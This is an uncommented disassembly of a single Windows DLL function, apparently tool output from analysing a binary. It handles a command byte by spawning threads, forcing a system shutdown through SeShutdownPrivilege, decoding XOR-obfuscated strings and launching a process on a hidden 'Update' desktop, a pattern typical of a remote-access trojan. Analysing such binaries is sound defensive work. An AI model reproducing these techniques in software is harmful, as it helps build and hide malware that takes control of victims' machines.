Function at 0x100059f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x47c
mov eax, dword [0x10032014]
xor eax, esp
mov dword [esp + 0x478], eax
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [ebp + 8]
movzx eax, byte [ecx]
cmp eax, 0x34
ja case.0x100058b5.2
movzx eax, byte [eax + 0x1000625c]
jmp dword [eax*4 + 0x1000620c]
mov ecx, 1
lea eax, [edi + 0x9e58]
xchg dword [eax], ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
mov eax, dword [edi + 4]
push 0
push 0
push 0
mov eax, dword [eax + 0xa8]
push 0
mov dword [esp + 0x38], 0x100042d0
mov dword [esp + 0x3c], eax
mov byte [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x30]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [edi + 0x9e50]
mov dword [edi + ecx*4 + 0x210], esi
inc dword [edi + 0x9e50]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
mov eax, dword [edi + 4]
push 0
push 0
push 0
mov eax, dword [eax + 0xa8]
push 0
mov dword [esp + 0x38], 0x10004500
mov dword [esp + 0x3c], eax
mov byte [esp + 0x40], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x30]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [edi + 0x9e50]
mov dword [edi + ecx*4 + 0x210], esi
inc dword [edi + 0x9e50]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
mov eax, dword [edi + 4]
push 0
push 0
push 0
mov eax, dword [eax + 0xa8]
push 0
mov dword [esp + 0x38], 0x100045b0
mov dword [esp + 0x3c], eax
mov byte [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x30]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [edi + 0x9e50]
mov dword [edi + ecx*4 + 0x210], esi
inc dword [edi + 0x9e50]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
mov eax, dword [edi + 4]
push 0
push 0
push 0
mov eax, dword [eax + 0xa8]
push 0
mov dword [esp + 0x38], 0x10004720
mov dword [esp + 0x3c], eax
mov byte [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x30]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [edi + 0x9e50]
mov dword [edi + ecx*4 + 0x210], esi
inc dword [edi + 0x9e50]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
mov eax, dword [edi + 4]
push 0
push 0
push 0
mov eax, dword [eax + 0xa8]
push 0
mov dword [esp + 0x38], 0x10004450
mov dword [esp + 0x3c], eax
mov byte [esp + 0x40], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x30]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [edi + 0x9e50]
mov dword [edi + ecx*4 + 0x210], esi
inc dword [edi + 0x9e50]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
mov eax, dword [edi + 4]
push 0
push 0
push 0
mov eax, dword [eax + 0xa8]
push 0
mov dword [esp + 0x38], 0x100049b0
mov dword [esp + 0x3c], eax
mov byte [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x30]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [edi + 0x9e50]
mov dword [edi + ecx*4 + 0x210], esi
inc dword [edi + 0x9e50]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
mov eax, dword [edi + 4]
push 0
push 0
push 0
mov eax, dword [eax + 0xa8]
push 0
mov dword [esp + 0x38], 0x10004ba0
mov dword [esp + 0x3c], eax
mov byte [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x30]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [edi + 0x9e50]
push 0x64
mov dword [edi + ecx*4 + 0x210], esi
inc dword [edi + 0x9e50]
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
mov eax, dword [edi + 4]
push 0
push 0
push 0
mov eax, dword [eax + 0xa8]
push 0
mov dword [esp + 0x38], 0x10004cc0
mov dword [esp + 0x3c], eax
mov byte [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x30]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [edi + 0x9e50]
push 0x64
mov dword [edi + ecx*4 + 0x210], esi
inc dword [edi + 0x9e50]
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
push 0
push 0
push 0
lea eax, [ecx + 1]
mov dword [esp + 0x34], 0x10004e00
push 0
mov dword [esp + 0x3c], eax
mov byte [esp + 0x40], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x30]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [edi + 0x9e50]
push 0x64
mov dword [edi + ecx*4 + 0x210], esi
inc dword [edi + 0x9e50]
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
mov eax, dword [edi + 4]
push 0
push 0
push 0
mov eax, dword [eax + 0xa8]
push 0
mov dword [esp + 0x38], 0x100052a0
mov dword [esp + 0x3c], eax
mov byte [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x30]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [edi + 0x9e50]
mov dword [edi + ecx*4 + 0x210], esi
inc dword [edi + 0x9e50]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
mov eax, dword [edi + 4]
push 0
push 0
push 0
mov eax, dword [eax + 0xa8]
push 0
mov dword [esp + 0x38], 0x100053c0
mov dword [esp + 0x3c], eax
mov byte [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x30]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [edi + 0x9e50]
mov dword [edi + ecx*4 + 0x210], esi
inc dword [edi + 0x9e50]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
inc ecx
mov edx, 1
call fcn.10004ec0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
inc ecx
xor edx, edx
call fcn.10004ec0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
call fcn.10005130
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
movzx eax, byte [ecx + 1]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x10]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov ebx, dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10005f96
lea eax, [esp + 0x2c]
mov dword [esp + 0x28], 1
push eax
push str.SeShutdownPrivilege
push 0
mov dword [esp + 0x40], 2
call edi
push 0
push 0
push 0x10
lea eax, [esp + 0x34]
push eax
push 0
push dword [esp + 0x24]
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [esp + 0x10]
call esi
push 0
push dword [esp + 0x18]
call dword [sym.imp.USER32.dll_ExitWindowsEx]
lea eax, [esp + 0x10]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je case.0x100058b5.2
lea eax, [esp + 0x2c]
mov dword [esp + 0x28], 1
push eax
push str.SeShutdownPrivilege
push 0
mov dword [esp + 0x40], 0
call edi
push 0
push 0
push 0x10
lea eax, [esp + 0x34]
push eax
push 0
push dword [esp + 0x24]
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [esp + 0x10]
call esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
push 0x400
mov dword [esp + 0x18], eax
lea eax, [esp + 0x84]
push 0
push eax
call fcn.10014920
movaps xmm0, xmmword [0x1002e930]
add esp, 0xc
movups xmmword [esp + 0x38], xmm0
mov dword [esp + 0x58], 0x8cf6d8c9
movaps xmm0, xmmword [0x1002e8e0]
push 0x25
movups xmmword [esp + 0x4c], xmm0
mov byte [esp + 0x60], 0xdb
call fcn.100126ff
mov esi, eax
lea ecx, [esp + 0x3d]
mov ebx, esi
add esp, 4
mov eax, 1
sub ebx, ecx
nop
lea edx, [esp + 0x38]
mov cl, 0xcc
add edx, eax
sub cl, al
inc eax
xor cl, byte [edx]
mov byte [ebx + edx], cl
cmp eax, 0x24
jbe 0x10006070
lea eax, [edi + 0x10]
mov byte [esi + 0x24], 0
push eax
lea eax, [esp + 0x84]
push esi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [esp + 0x20]
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
sub esp, 8
lea edx, [esp + 0x94]
call fcn.100070a0
add esp, 0x14
xorps xmm0, xmm0
movups xmmword [esi], xmm0
movups xmmword [esi + 0x10], xmm0
push 1
push esi
mov dword [esi + 0x20], 0
call fcn.1001272f
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
lea esi, [ecx + 1]
push 0x2f
push esi
call fcn.10014260
add esp, 8
add eax, 1
mov dword [esp + 0x14], eax
je case.0x100058b5.2
mov edx, eax
mov ecx, esi
call fcn.1000a470
test al, al
je case.0x100058b5.2
xorps xmm0, xmm0
mov dword [esp + 0x3c], 0
movlpd qword [esp + 0x44], xmm0
movlpd qword [esp + 0x4c], xmm0
movlpd qword [esp + 0x54], xmm0
movlpd qword [esp + 0x5c], xmm0
movlpd qword [esp + 0x64], xmm0
movlpd qword [esp + 0x6c], xmm0
movlpd qword [esp + 0x74], xmm0
movaps xmm0, xmmword [0x1002e8d0]
push 0x10
mov dword [esp + 0x3c], 0x44
movups xmmword [esp + 0x2c], xmm0
call fcn.100126ff
mov ebx, eax
lea ecx, [esp + 0x2d]
mov esi, ebx
add esp, 4
mov eax, 1
sub esi, ecx
nop
lea edx, [esp + 0x28]
mov cl, 0xcc
add edx, eax
sub cl, al
inc eax
xor cl, byte [edx]
mov byte [esi + edx], cl
cmp eax, 0xf
jbe 0x10006180
lea eax, [esp + 0x18]
mov byte [ebx + 0xf], 0
push eax
lea eax, [esp + 0x3c]
mov dword [esp + 0x44], ebx
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push str.Update
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xorps xmm0, xmm0
mov esi, eax
movq qword [ebx], xmm0
mov dword [ebx + 8], 0
push 1
mov word [ebx + 0xc], 0
push ebx
mov byte [ebx + 0xe], 0
call fcn.1001272f
add esp, 8
test esi, esi
je case.0x100058b5.2
mov ecx, edi
call fcn.100062a0
mov ecx, dword [esp + 0x484]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8